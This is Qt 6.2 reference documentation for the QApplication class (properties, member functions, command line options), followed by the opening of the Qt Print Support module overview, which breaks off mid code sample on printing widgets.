|  QWidget \* | **[widgetAt](qapplication#widgetAt-1)**(int *x*, int *y*) |

 Reimplemented Protected Functions
---------------------------------

 

|  |  |
| --- | --- |
|  virtual bool  | **[event](qapplication#event)**(QEvent \**e*) override |

 Macros
------

 

|  |  |
| --- | --- |
|  | **[qApp](qapplication#qApp)** |

 Detailed Description
--------------------

 QApplication specializes [QGuiApplication](qguiapplication) with some functionality needed for [QWidget](qwidget)-based applications. It handles widget specific initialization, finalization.

 For any GUI application using Qt, there is precisely **one** QApplication object, no matter whether the application has 0, 1, 2 or more windows at any given time. For non-[QWidget](qwidget) based Qt applications, use [QGuiApplication](qguiapplication) instead, as it does not depend on the [QtWidgets](https://doc.qt.io/qt-6.2/qtwidgets-module.html) library.

 Some GUI applications provide a special batch mode ie. provide command line arguments for executing tasks without manual intervention. In such non-GUI mode, it is often sufficient to instantiate a plain [QCoreApplication](qcoreapplication) to avoid unnecessarily initializing resources needed for a graphical user interface. The following example shows how to dynamically create an appropriate type of application instance:

 
```
QCoreApplication* createApplication(int &argc, char *argv[])
{
    for (int i = 1; i < argc; ++i) {
        if (!qstrcmp(argv[i], "-no-gui"))
            return new QCoreApplication(argc, argv);
    }
    return new QApplication(argc, argv);
}

int main(int argc, char* argv[])
{
    QScopedPointer<QCoreApplication> app(createApplication(argc, argv));

    if (qobject_cast<QApplication *>(app.data())) {
       // start GUI version...
    } else {
       // start non-GUI version...
    }

    return app->exec();
}
```
 The QApplication object is accessible through the [instance](qcoreapplication#instance)() function that returns a pointer equivalent to the global [qApp](qapplication#qApp) pointer.

 QApplication's main areas of responsibility are:

 * It initializes the application with the user's desktop settings such as [palette](qapplication#palette)(), [font](qapplication#font)() and [doubleClickInterval](qapplication#doubleClickInterval-prop)(). It keeps track of these properties in case the user changes the desktop globally, for example through some kind of control panel.
* It performs event handling, meaning that it receives events from the underlying window system and dispatches them to the relevant widgets. By using [sendEvent](qcoreapplication#sendEvent)() and [postEvent](qcoreapplication#postEvent)() you can send your own events to widgets.
* It parses common command line arguments and sets its internal state accordingly. See the [constructor documentation](qapplication#QApplication) below for more details.
* It defines the application's look and feel, which is encapsulated in a [QStyle](qstyle) object. This can be changed at runtime with [setStyle](qapplication#setStyle)().
* It provides localization of strings that are visible to the user via [translate](qcoreapplication#translate)().
* It provides some magical objects like the [clipboard](qguiapplication#clipboard)().
* It knows about the application's windows. You can ask which widget is at a certain position using [widgetAt](qapplication#widgetAt)(), get a list of [topLevelWidgets](qapplication#topLevelWidgets)() and [closeAllWindows](qapplication#closeAllWindows)(), etc.
* It manages the application's mouse cursor handling, see [setOverrideCursor](qguiapplication#setOverrideCursor)()

 Since the QApplication object does so much initialization, it *must* be created before any other objects related to the user interface are created. QApplication also deals with common command line arguments. Hence, it is usually a good idea to create it *before* any interpretation or modification of `argv` is done in the application itself.

 

| Groups of functions |
| --- |
| System settings | [desktopSettingsAware](qguiapplication#desktopSettingsAware)(), [setDesktopSettingsAware](qguiapplication#setDesktopSettingsAware)(), [cursorFlashTime](qapplication#cursorFlashTime-prop)(), [setCursorFlashTime](qapplication#cursorFlashTime-prop)(), [doubleClickInterval](qapplication#doubleClickInterval-prop)(), [setDoubleClickInterval](qapplication#doubleClickInterval-prop)(), [setKeyboardInputInterval](qapplication#keyboardInputInterval-prop)(), [wheelScrollLines](qapplication#wheelScrollLines-prop)(), [setWheelScrollLines](qapplication#wheelScrollLines-prop)(), [palette](qapplication#palette)(), [setPalette](qapplication#setPalette)(), [font](qapplication#font)(), [setFont](qapplication#setFont)(), fontMetrics(). |
| Event handling | [exec](qapplication#exec)(), [processEvents](qcoreapplication#processEvents)(), [exit](qcoreapplication#exit)(), [quit](qcoreapplication#quit)(). [sendEvent](qcoreapplication#sendEvent)(), [postEvent](qcoreapplication#postEvent)(), [sendPostedEvents](qcoreapplication#sendPostedEvents)(), [removePostedEvents](qcoreapplication#removePostedEvents)(), [notify](qapplication#notify)(). |
| GUI Styles | [style](qapplication#style)(), [setStyle](qapplication#setStyle)(). |
| Text handling | [installTranslator](qcoreapplication#installTranslator)(), [removeTranslator](qcoreapplication#removeTranslator)() [translate](qcoreapplication#translate)(). |
| Widgets | [allWidgets](qapplication#allWidgets)(), [topLevelWidgets](qapplication#topLevelWidgets)(), [activePopupWidget](qapplication#activePopupWidget)(), [activeModalWidget](qapplication#activeModalWidget)(), [clipboard](qguiapplication#clipboard)(), [focusWidget](qapplication#focusWidget)(), [activeWindow](qapplication#activeWindow)(), [widgetAt](qapplication#widgetAt)(). |
| Advanced cursor handling | [overrideCursor](qguiapplication#overrideCursor)(), [setOverrideCursor](qguiapplication#setOverrideCursor)(), [restoreOverrideCursor](qguiapplication#restoreOverrideCursor)(). |
| Miscellaneous | [closeAllWindows](qapplication#closeAllWindows)(), [startingUp](qcoreapplication#startingUp)(), [closingDown](qcoreapplication#closingDown)(). |

 **See also** [QCoreApplication](qcoreapplication), [QAbstractEventDispatcher](qabstracteventdispatcher), [QEventLoop](qeventloop), and [QSettings](qsettings).

  Property Documentation
----------------------

 ### 
autoSipEnabled : bool

 toggles automatic SIP (software input panel) visibility

 Set this property to `true` to automatically display the SIP when entering widgets that accept keyboard input. This property only affects widgets with the WA\_InputMethodEnabled attribute set, and is typically used to launch a virtual keyboard on devices which have very few or no keys.

  **The property only has an effect on platforms that use software input panels.**

 The default is platform dependent.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **autoSipEnabled**() const |
|  void  | **setAutoSipEnabled**(const bool *enabled*) |

 ### 
cursorFlashTime : int

 This property holds the text cursor's flash (blink) time in milliseconds

 The flash time is the time required to display, invert and restore the caret display. Usually the text cursor is displayed for half the cursor flash time, then hidden for the same amount of time, but this may vary.

 The default value on X11 is 1000 milliseconds. On Windows, the **Control Panel** value is used and setting this property sets the cursor flash time for all applications.

 We recommend that widgets do not cache this value as it may change at any time if the user changes the global desktop settings.

  **Note:** This property may hold a negative value, for instance if cursor blinking is disabled.

  **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **cursorFlashTime**() |
|  void  | **setCursorFlashTime**(int) |

 ### 
doubleClickInterval : int

 This property holds the time limit in milliseconds that distinguishes a double click from two consecutive mouse clicks

 The default value on X11 is 400 milliseconds. On Windows and Mac OS, the operating system's value is used.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **doubleClickInterval**() |
|  void  | **setDoubleClickInterval**(int) |

 ### 
keyboardInputInterval : int

 This property holds the time limit in milliseconds that distinguishes a key press from two consecutive key presses

 The default value on X11 is 400 milliseconds. On Windows and Mac OS, the operating system's value is used.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **keyboardInputInterval**() |
|  void  | **setKeyboardInputInterval**(int) |

 ### 
startDragDistance : int

 This property holds the minimum distance required for a drag and drop operation to start.

 If you support drag and drop in your application, and want to start a drag and drop operation after the user has moved the cursor a certain distance with a button held down, you should use this property's value as the minimum distance required.

 For example, if the mouse position of the click is stored in `startPos` and the current position (e.g. in the mouse move event) is `currentPos`, you can find out if a drag should be started with code like this:

 
```
if ((startPos - currentPos).manhattanLength() >=
        QApplication::startDragDistance())
    startTheDrag();
```
 Qt uses this value internally, e.g. in [QFileDialog](qfiledialog).

 The default value (if the platform doesn't provide a different default) is 10 pixels.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **startDragDistance**() |
|  void  | **setStartDragDistance**(int *l*) |

 **See also** [startDragTime](qapplication#startDragTime-prop)(), [QPoint::manhattanLength](qpoint#manhattanLength)(), and [Drag and Drop](graphicsview#drag-and-drop).

 ### 
startDragTime : int

 This property holds the time in milliseconds that a mouse button must be held down before a drag and drop operation will begin

 If you support drag and drop in your application, and want to start a drag and drop operation after the user has held down a mouse button for a certain amount of time, you should use this property's value as the delay.

 Qt also uses this delay internally, e.g. in [QTextEdit](qtextedit) and [QLineEdit](qlineedit), for starting a drag.

 The default value is 500 ms.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **startDragTime**() |
|  void  | **setStartDragTime**(int *ms*) |

 **See also** [startDragDistance](qapplication#startDragDistance-prop)() and [Drag and Drop](graphicsview#drag-and-drop).

 ### 
styleSheet : [QString](qstring)

 This property holds the application style sheet

 By default, this property returns an empty string unless the user specifies the `-stylesheet` option on the command line when running the application.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **styleSheet**() const |
|  void  | **setStyleSheet**(const QString &*sheet*) |

 **See also** [QWidget::setStyle](qwidget#setStyle)() and [Qt Style Sheets](stylesheet).

 ### 
wheelScrollLines : int

 This property holds the number of lines to scroll a widget, when the mouse wheel is rotated.

 If the value exceeds the widget's number of visible lines, the widget should interpret the scroll operation as a single *page up* or *page down*. If the widget is an [item view class](qabstractitemview), then the result of scrolling one *line* depends on the setting of the widget's [scroll mode](qabstractitemview#verticalScrollMode-prop). Scroll one *line* can mean [scroll one item](qabstractitemview#ScrollMode-enum) or [scroll one pixel](qabstractitemview#ScrollMode-enum).

 By default, this property has a value of 3.

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **wheelScrollLines**() |
|  void  | **setWheelScrollLines**(int) |

 **See also** [QStyleHints::wheelScrollLines](qstylehints#wheelScrollLines-prop)().

  Member Function Documentation
-----------------------------

 ### QApplication::QApplication(int &*argc*, char \*\**argv*)

 Initializes the window system and constructs an application object with *argc* command line arguments in *argv*.

  **Warning:** The data referred to by *argc* and *argv* must stay valid for the entire lifetime of the QApplication object. In addition, *argc* must be greater than zero and *argv* must contain at least one valid character string.

  The global `qApp` pointer refers to this application object. Only one application object should be created.

 This application object must be constructed before any [paint devices](qpaintdevice) (including widgets, pixmaps, bitmaps etc.).

  **Note:** *argc* and *argv* might be changed as Qt removes command line arguments that it recognizes.

  All Qt programs automatically support the following command line options:

 * -style= *style*, sets the application GUI style. Possible values depend on your system configuration. If you compiled Qt with additional styles or have additional styles as plugins these will be available to the `-style` command line option. You can also set the style for all Qt applications by setting the `QT_STYLE_OVERRIDE` environment variable.
* -style *style*, is the same as listed above.
* -stylesheet= *stylesheet*, sets the application [styleSheet](stylesheet). The value must be a path to a file that contains the Style Sheet. **Note:** Relative URLs in the Style Sheet file are relative to the Style Sheet file's path.
* -stylesheet *stylesheet*, is the same as listed above.
* -widgetcount, prints debug message at the end about number of widgets left undestroyed and maximum number of widgets existed at the same time
* -reverse, sets the application's layout direction to [Qt::RightToLeft](qt#LayoutDirection-enum)
* -qmljsdebugger=, activates the QML/JS debugger with a specified port. The value must be of format port:1234[,block], where block is optional and will make the application wait until a debugger connects to it.

 **See also** [QCoreApplication::arguments](qcoreapplication#arguments)().

 ### 
`[static slot]` void QApplication::aboutQt()

 Displays a simple message box about Qt. The message includes the version number of Qt being used by the application.

 This is useful for inclusion in the **Help** menu of an application, as shown in the [Menus](https://doc.qt.io/qt-6.2/qtwidgets-mainwindows-menus-example.html) example.

 This function is a convenience slot for [QMessageBox::aboutQt](qmessagebox#aboutQt)().

 ### 
`[static slot]` void QApplication::closeAllWindows()

 Closes all top-level windows.

 This function is particularly useful for applications with many top-level windows.

 The windows are closed in random order, until one window does not accept the close event. The application quits when the last window was successfully closed, unless [quitOnLastWindowClosed](qguiapplication#quitOnLastWindowClosed-prop) is set to false. To trigger application termination from e.g. a menu, use [QCoreApplication::quit](qcoreapplication#quit)() instead of this function.

 **See also** [quitOnLastWindowClosed](qguiapplication#quitOnLastWindowClosed-prop), [lastWindowClosed](qguiapplication#lastWindowClosed)(), [QWidget::close](qwidget#close)(), [QWidget::closeEvent](qwidget#closeEvent)(), [lastWindowClosed](qguiapplication#lastWindowClosed)(), [QCoreApplication::quit](qcoreapplication#quit)(), [topLevelWidgets](qapplication#topLevelWidgets)(), and [QWidget::isWindow](qwidget#isWindow)().

 ### 
`[signal]` void QApplication::focusChanged([QWidget](qwidget) \**old*, [QWidget](qwidget) \**now*)

 This signal is emitted when the widget that has keyboard focus changed from *old* to *now*, i.e., because the user pressed the tab-key, clicked into a widget or changed the active window. Both *old* and *now* can be `nullptr`.

 The signal is emitted after both widget have been notified about the change through [QFocusEvent](qfocusevent).

 **See also** [QWidget::setFocus](qwidget#setFocus-1)(), [QWidget::clearFocus](qwidget#clearFocus)(), and [Qt::FocusReason](qt#FocusReason-enum).

 ### 
`[virtual]` QApplication::~QApplication()

 Cleans up any window system resources that were allocated by this application. Sets the global variable `qApp` to `nullptr`.

 ### 
`[static]` [QWidget](qwidget) \*QApplication::activeModalWidget()

 Returns the active modal widget.

 A modal widget is a special top-level widget which is a subclass of [QDialog](qdialog) that specifies the modal parameter of the constructor as true. A modal widget must be closed before the user can continue with other parts of the program.

 Modal widgets are organized in a stack. This function returns the active modal widget at the top of the stack.

 **See also** [activePopupWidget](qapplication#activePopupWidget)() and [topLevelWidgets](qapplication#topLevelWidgets)().

 ### 
`[static]` [QWidget](qwidget) \*QApplication::activePopupWidget()

 Returns the active popup widget.

 A popup widget is a special top-level widget that sets the `Qt::WType_Popup` widget flag, e.g. the [QMenu](qmenu) widget. When the application opens a popup widget, all events are sent to the popup. Normal widgets and modal widgets cannot be accessed before the popup widget is closed.

 Only other popup widgets may be opened when a popup widget is shown. The popup widgets are organized in a stack. This function returns the active popup widget at the top of the stack.

 **See also** [activeModalWidget](qapplication#activeModalWidget)() and [topLevelWidgets](qapplication#topLevelWidgets)().

 ### 
`[static]` [QWidget](qwidget) \*QApplication::activeWindow()

 Returns the application top-level window that has the keyboard input focus, or `nullptr` if no application window has the focus. There might be an activeWindow() even if there is no [focusWidget](qapplication#focusWidget)(), for example if no widget in that window accepts key events.

 **See also** [setActiveWindow](qapplication#setActiveWindow)(), [QWidget::setFocus](qwidget#setFocus-1)(), [QWidget::hasFocus](qwidget#focus-prop)(), and [focusWidget](qapplication#focusWidget)().

 ### 
`[static]` void QApplication::alert([QWidget](qwidget) \**widget*, int *msec* = 0)

 Causes an alert to be shown for *widget* if the window is not the active window. The alert is shown for *msec* milliseconds. If *msec* is zero (the default), then the alert is shown indefinitely until the window becomes active again.

 Currently this function does nothing on Qt for Embedded Linux.

 On macOS, this works more at the application level and will cause the application icon to bounce in the dock.

 On Windows, this causes the window's taskbar entry to flash for a time. If *msec* is zero, the flashing will stop and the taskbar entry will turn a different color (currently orange).

 On X11, this will cause the window to be marked as "demands attention", the window must not be hidden (i.e. not have hide() called on it, but be visible in some sort of way) in order for this to work.

 ### 
`[static]` QWidgetList QApplication::allWidgets()

 Returns a list of all the widgets in the application.

 The list is empty ([QList::isEmpty](qlist#isEmpty)()) if there are no widgets.

  **Note:** Some of the widgets may be hidden.

  Example:

 
```
void updateAllWidgets()
{
    const QWidgetList allWidgets = QApplication::allWidgets();
    for (QWidget *widget : allWidgets)
        widget->update();
}
```
 **See also** [topLevelWidgets](qapplication#topLevelWidgets)() and [QWidget::isVisible](qwidget#visible-prop)().

 ### 
`[static]` void QApplication::beep()

 Sounds the bell, using the default volume and sound. The function is *not* available in Qt for Embedded Linux.

 ### 
`[override virtual protected]` bool QApplication::event([QEvent](qevent) \**e*)

 Reimplements: [QGuiApplication::event](qguiapplication#event)(QEvent \*e).

 ### 
`[static]` int QApplication::exec()

 Enters the main event loop and waits until [exit](qcoreapplication#exit)() is called, then returns the value that was set to [exit](qcoreapplication#exit)() (which is 0 if [exit](qcoreapplication#exit)() is called via [quit](qcoreapplication#quit)()).

 It is necessary to call this function to start event handling. The main event loop receives events from the window system and dispatches these to the application widgets.

 Generally, no user interaction can take place before calling exec(). As a special case, modal widgets like [QMessageBox](qmessagebox) can be used before calling exec(), because modal widgets call exec() to start a local event loop.

 To make your application perform idle processing, i.e., executing a special function whenever there are no pending events, use a [QTimer](qtimer) with 0 timeout. More advanced idle processing schemes can be achieved using [processEvents](qcoreapplication#processEvents)().

 We recommend that you connect clean-up code to the [aboutToQuit](qcoreapplication#aboutToQuit)() signal, instead of putting it in your application's `main()` function. This is because, on some platforms the QApplication::exec() call may not return. For example, on the Windows platform, when the user logs off, the system terminates the process after Qt closes all top-level windows. Hence, there is *no guarantee* that the application will have time to exit its event loop and execute code at the end of the `main()` function, after the QApplication::exec() call.

 **See also** [quitOnLastWindowClosed](qguiapplication#quitOnLastWindowClosed-prop), [QCoreApplication::quit](qcoreapplication#quit)(), [QCoreApplication::exit](qcoreapplication#exit)(), [QCoreApplication::processEvents](qcoreapplication#processEvents)(), and [QCoreApplication::exec](qcoreapplication#exec)().

 ### 
`[static]` [QWidget](qwidget) \*QApplication::focusWidget()

 Returns the application widget that has the keyboard input focus, or `nullptr` if no widget in this application has the focus.

 **See also** [QWidget::setFocus](qwidget#setFocus-1)(), [QWidget::hasFocus](qwidget#focus-prop)(), [activeWindow](qapplication#activeWindow)(), and [focusChanged](qapplication#focusChanged)().

 ### 
`[static]` [QFont](qfont) QApplication::font()

 Returns the default application font.

 **See also** [setFont](qapplication#setFont)(), [fontMetrics](https://doc.qt.io/qt-6.2/qapplication-obsolete.html#fontMetrics)(), and [QWidget::font](qwidget#font-prop)().

 ### 
`[static]` [QFont](qfont) QApplication::font(const [QWidget](qwidget) \**widget*)

 This is an overloaded function.

 Returns the default font for the *widget*. If a default font was not registered for the *widget*'s class, it returns the default font of its nearest registered superclass.

 **See also** [fontMetrics](https://doc.qt.io/qt-6.2/qapplication-obsolete.html#fontMetrics)(), [setFont](qapplication#setFont)(), and [QWidget::setFont](qwidget#font-prop)().

 ### 
`[static]` [QFont](qfont) QApplication::font(const char \**className*)

 This is an overloaded function.

 Returns the font for widgets of the given *className*.

 **See also** [setFont](qapplication#setFont)() and [QWidget::font](qwidget#font-prop)().

 ### 
`[static]` bool QApplication::isEffectEnabled([Qt::UIEffect](qt#UIEffect-enum) *effect*)

 Returns `true` if *effect* is enabled; otherwise returns `false`.

 By default, Qt will try to use the desktop settings. To prevent this, call setDesktopSettingsAware(false).

  **Note:** All effects are disabled on screens running at less than 16-bit color depth.

  **See also** [setEffectEnabled](qapplication#setEffectEnabled)() and [Qt::UIEffect](qt#UIEffect-enum).

 ### 
`[static]` [Qt::NavigationMode](qt#NavigationMode-enum) QApplication::navigationMode()

 Returns what kind of focus navigation Qt is using.

 This feature is available in Qt for Embedded Linux only.

 **See also** [setNavigationMode](qapplication#setNavigationMode)().

 ### 
`[override virtual]` bool QApplication::notify([QObject](qobject#QObject) \**receiver*, [QEvent](qevent) \**e*)

 Reimplements: [QGuiApplication::notify](qguiapplication#notify)(QObject \*object, QEvent \*event).

 ### 
`[static]` [QPalette](qpalette) QApplication::palette(const [QWidget](qwidget) \**widget*)

 If a *widget* is passed, the default palette for the widget's class is returned. This may or may not be the application palette. In most cases there is no special palette for certain types of widgets, but one notable exception is the popup menu under Windows, if the user has defined a special background color for menus in the display settings.

 **See also** [setPalette](qapplication#setPalette)() and [QWidget::palette](qwidget#palette-prop)().

 ### 
`[static]` [QPalette](qpalette) QApplication::palette(const char \**className*)

 This is an overloaded function.

 Returns the palette for widgets of the given *className*.

 **See also** [setPalette](qapplication#setPalette)() and [QWidget::palette](qwidget#palette-prop)().

 ### 
`[static]` void QApplication::setActiveWindow([QWidget](qwidget) \**active*)

 Sets the active window to the *active* widget in response to a system event. The function is called from the platform specific event handlers.

  **Warning:** This function does *not* set the keyboard focus to the active widget. Call [QWidget::activateWindow](qwidget#activateWindow)() instead.

  It sets the [activeWindow](qapplication#activeWindow)() and [focusWidget](qapplication#focusWidget)() attributes and sends proper [WindowActivate](qevent#Type-enum)/[WindowDeactivate](qevent#Type-enum) and [FocusIn](qevent#Type-enum)/[FocusOut](qevent#Type-enum) events to all appropriate widgets. The window will then be painted in active state (e.g. cursors in line edits will blink), and it will have tool tips enabled.

 **See also** [activeWindow](qapplication#activeWindow)() and [QWidget::activateWindow](qwidget#activateWindow)().

 ### 
`[static]` void QApplication::setEffectEnabled([Qt::UIEffect](qt#UIEffect-enum) *effect*, bool *enable* = true)

 Enables the UI effect *effect* if *enable* is true, otherwise the effect will not be used.

  **Note:** All effects are disabled on screens running at less than 16-bit color depth.

  **See also** [isEffectEnabled](qapplication#isEffectEnabled)(), [Qt::UIEffect](qt#UIEffect-enum), and [setDesktopSettingsAware](qguiapplication#setDesktopSettingsAware)().

 ### 
`[static]` void QApplication::setFont(const [QFont](qfont) &*font*, const char \**className* = nullptr)

 Changes the default application font to *font*. If *className* is passed, the change applies only to classes that inherit *className* (as reported by [QObject::inherits](qobject#inherits)()).

 On application start-up, the default font depends on the window system. It can vary depending on both the window system version and the locale. This function lets you override the default font; but overriding may be a bad idea because, for example, some locales need extra large fonts to support their special characters.

  **Warning:** Do not use this function in conjunction with [Qt Style Sheets](stylesheet). The font of an application can be customized using the "font" style sheet property. To set a bold font for all QPushButtons, set the application [styleSheet](qapplication#styleSheet-prop)() as "[QPushButton](qpushbutton) { font: bold }"

  **See also** [font](qapplication#font)(), [fontMetrics](https://doc.qt.io/qt-6.2/qapplication-obsolete.html#fontMetrics)(), and [QWidget::setFont](qwidget#font-prop)().

 ### 
`[static]` void QApplication::setNavigationMode([Qt::NavigationMode](qt#NavigationMode-enum) *mode*)

 Sets the kind of focus navigation Qt should use to *mode*.

 This feature is available in Qt for Embedded Linux only.

 **See also** [navigationMode](qapplication#navigationMode)().

 ### 
`[static]` void QApplication::setPalette(const [QPalette](qpalette) &*palette*, const char \**className* = nullptr)

 Changes the application palette to *palette*.

 If *className* is passed, the change applies only to widgets that inherit *className* (as reported by [QObject::inherits](qobject#inherits)()). If *className* is left 0, the change affects all widgets, thus overriding any previously set class specific palettes.

 The palette may be changed according to the current GUI style in [QStyle::polish](qstyle#polish)().

  **Warning:** Do not use this function in conjunction with [Qt Style Sheets](stylesheet). When using style sheets, the palette of a widget can be customized using the "color", "background-color", "selection-color", "selection-background-color" and "alternate-background-color".

   **Note:** Some styles do not use the palette for all drawing, for instance, if they make use of native theme engines. This is the case for the Windows Vista and macOS styles.

  **See also** [QWidget::setPalette](qwidget#palette-prop)(), [palette](qapplication#palette)(), and [QStyle::polish](qstyle#polish)().

 ### 
`[static]` void QApplication::setStyle([QStyle](qstyle) \**style*)

 Sets the application's GUI style to *style*. Ownership of the style object is transferred to [QApplication](qapplication), so [QApplication](qapplication) will delete the style object on application exit or when a new style is set and the old style is still the parent of the application object.

 Example usage:

 
```
QApplication::setStyle(QStyleFactory::create("Fusion"));
```
 When switching application styles, the color palette is set back to the initial colors or the system defaults. This is necessary since certain styles have to adapt the color palette to be fully style-guide compliant.

 Setting the style before a palette has been set, i.e., before creating [QApplication](qapplication), will cause the application to use [QStyle::standardPalette](qstyle#standardPalette)() for the palette.

  **Warning:** Qt style sheets are currently not supported for custom [QStyle](qstyle) subclasses. We plan to address this in some future release.

  **See also** [style](qapplication#style)(), [QStyle](qstyle), [setPalette](qapplication#setPalette)(), and [desktopSettingsAware](qguiapplication#desktopSettingsAware)().

 ### 
`[static]` [QStyle](qstyle) \*QApplication::setStyle(const [QString](qstring) &*style*)

 This is an overloaded function.

 Requests a [QStyle](qstyle) object for *style* from the [QStyleFactory](qstylefactory).

 The string must be one of the [QStyleFactory::keys](qstylefactory#keys)(), typically one of "windows", "windowsvista", "fusion", or "macos". Style names are case insensitive.

 Returns `nullptr` if an unknown *style* is passed, otherwise the [QStyle](qstyle) object returned is set as the application's GUI style.

  **Warning:** To ensure that the application's style is set correctly, it is best to call this function before the [QApplication](qapplication) constructor, if possible.

  ### 
`[static]` [QStyle](qstyle) \*QApplication::style()

 Returns the application's style object.

 **See also** [setStyle](qapplication#setStyle)() and [QStyle](qstyle).

 ### 
`[static]` [QWidget](qwidget) \*QApplication::topLevelAt(const [QPoint](qpoint) &*point*)

 Returns the top-level widget at the given *point*; returns `nullptr` if there is no such widget.

 ### 
`[static]` [QWidget](qwidget) \*QApplication::topLevelAt(int *x*, int *y*)

 This is an overloaded function.

 Returns the top-level widget at the point (*x*, *y*); returns 0 if there is no such widget.

 ### 
`[static]` QWidgetList QApplication::topLevelWidgets()

 Returns a list of the top-level widgets (windows) in the application.

  **Note:** Some of the top-level widgets may be hidden, for example a tooltip if no tooltip is currently shown.

  Example:

 
```
void showAllHiddenTopLevelWidgets()
{
    const QWidgetList topLevelWidgets = QApplication::topLevelWidgets();
    for (QWidget *widget : topLevelWidgets) {
        if (widget->isHidden())
            widget->show();
    }
}
```
 **See also** [allWidgets](qapplication#allWidgets)(), [QWidget::isWindow](qwidget#isWindow)(), and [QWidget::isHidden](qwidget#isHidden)().

 ### 
`[static]` [QWidget](qwidget) \*QApplication::widgetAt(const [QPoint](qpoint) &*point*)

 Returns the widget at global screen position *point*, or `nullptr` if there is no Qt widget there.

 This function can be slow.

 **See also** [QCursor::pos](qcursor#pos)(), [QWidget::grabMouse](qwidget#grabMouse)(), and [QWidget::grabKeyboard](qwidget#grabKeyboard)().

 ### 
`[static]` [QWidget](qwidget) \*QApplication::widgetAt(int *x*, int *y*)

 This is an overloaded function.

 Returns the widget at global screen position (*x*, *y*), or `nullptr` if there is no Qt widget there.

  Macro Documentation
-------------------

 ### 
qApp

 A global pointer referring to the unique application object. It is equivalent to [QCoreApplication::instance](qcoreapplication#instance)(), but cast as a [QApplication](qapplication) pointer, so only valid when the unique application object is a [QApplication](qapplication).

 **See also** [QCoreApplication::instance](qcoreapplication#instance)() and [qGuiApp](qguiapplication#qGuiApp).

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qapplication.html>

Qt Print Support
================

 The Qt Print Support module provides extensive cross-platform support for printing. Using the printing systems on each platform, Qt applications can print to attached printers and across networks to remote printers. The printing system also supports PDF file generation, providing the foundation for basic report generation facilities.

 Qt Print Support is not available on iOS.

 Classes Supporting Printing
---------------------------

 The following classes support the selecting and setting up of printers and printing output.

 

|  |  |
| --- | --- |
| [QAbstractPrintDialog](qabstractprintdialog) | Base implementation for print dialogs used to configure printers |
| [QPageRanges](qpageranges) | Represents a collection of page ranges |
| [QPageSetupDialog](qpagesetupdialog) | Configuration dialog for the page-related options on a printer |
| [QPrintDialog](qprintdialog) | Dialog for specifying the printer's configuration |
| [QPrintEngine](qprintengine) | Defines an interface for how QPrinter interacts with a given printing subsystem |
| [QPrintPreviewDialog](qprintpreviewdialog) | Dialog for previewing and configuring page layouts for printer output |
| [QPrintPreviewWidget](qprintpreviewwidget) | Widget for previewing page layouts for printer output |
| [QPrinter](qprinter) | Paint device that paints on a printer |
| [QPrinterInfo](qprinterinfo) | Gives access to information about existing printers |

 Paint Devices and Printing
--------------------------

 Printers are represented by [QPrinter](qprinter), a paint device that provides functionality specific to printing, such as support for multiple pages and double-sided output. As a result, printing involves using a [QPainter](qpainter) to paint onto a series of pages in the same way that you would paint onto a custom widget or image.

 ### Creating a QPrinter

 Although [QPrinter](qprinter) objects can be constructed and set up without requiring user input, printing is often performed as a result of a request by the user; for example, when the user selects the **File|Print...** menu item in a GUI application. In such cases, a newly-constructed [QPrinter](qprinter) object is supplied to a [QPrintDialog](qprintdialog), allowing the user to specify the printer to use, paper size, and other printing properties.

 
```
        QPrinter printer;

        QPrintDialog dialog(&printer, this);
        dialog.setWindowTitle(tr("Print Document"));
        if (editor->textCursor().hasSelection())
            dialog.addEnabledOption(QAbstractPrintDialog::PrintSelection);
        if (dialog.exec() != QDialog::Accepted) {
            return;
        }
```
 It is also possible to set certain default properties by modifying the [QPrinter](qprinter) before it is supplied to the print dialog. For example, applications that generate batches of reports for printing may set up the [QPrinter](qprinter) to [write to a local file](qprinter#setOutputFileName) by default rather than to a printer.

 ### Painting onto a Page

 Once a [QPrinter](qprinter) object has been constructed and set up, a [QPainter](qpainter) can be used to perform painting operations on it. We can construct and set up a painter in the following way:

 
```
    QPrinter printer(QPrinter::HighResolution);
    printer.setOutputFileName("print.ps");
    QPainter painter;
    painter.begin(&printer);

    for (int page = 0; page < numberOfPages; ++page) {

        // Use the painter to draw on the page.

        if (page != lastPage)
            printer.newPage();
    }

    painter.end();
```
 Since the [QPrinter](qprinter) starts with a blank page, we only need to call the [newPage](qprinter#newPage)() function after drawing each page, except for the last page.

 The document is sent to the printer, or written to a local file, when we call [end](qpainter#end)().

 ### Coordinate Systems

 [QPrinter](qprinter) provides functions that can be used to obtain information about the dimensions of the paper (the paper rectangle) and the dimensions of the printable area (the page rectangle). These are given in logical device coordinates that may differ from the physical coordinates used by the device itself, indicating that the printer is able to render text and graphics at a (typically higher) resolution than the user's display.

 Although we do not need to handle the conversion between logical and physical coordinates ourselves, we still need to apply transformations to painting operations because the pixel measurements used to draw on screen are often too small for the higher resolutions of typical printers.

 

|  |  |
| --- | --- |
| **Printer and Painter Coordinate Systems**The [paperRect](qprinter#paperRect)() and [pageRect](qprinter#pageRect)() functions provide information about the size of the paper used for printing and the area on it that can be painted on. The rectangle returned by [pageRect](qprinter#pageRect)() usually lies inside the rectangle returned by [paperRect](qprinter#paperRect)(). You do not need to take the positions and sizes of these area into account when using a [QPainter](qpainter) with a [QPrinter](qprinter) as the underlying paint device; the origin of the painter's coordinate system will coincide with the top-left corner of the page rectangle, and painting operations will be clipped to the bounds of the drawable part of the page. |  |

 The paint system automatically uses the correct device metrics when painting text but, if you need to position text using information obtained from font metrics, you need to ensure that the print device is specified when you construct [QFontMetrics](qfontmetrics) and [QFontMetricsF](qfontmetricsf) objects, or ensure that each [QFont](qfont) used is constructed using the form of the constructor that accepts a [QPaintDevice](qpaintdevice) argument.

 Printing Widgets
----------------

 To print a widget, you can use the [QWidget::render](qwidget#render)() function. As mentioned, the printer's resolution is usually higher than the screen resolution, so you will have to scale the painter. You may also want to position the widget on the page. The following code sample shows how this may look.

 
```
        QPainter painter;
        painter.begin(&printer);
        double xscale = printer.pageRect().width() / double(myWidget->width());
        double yscale = printer.pageRect().height() / double(myWidget->height());
        double scale = qMin(xscale, yscale);
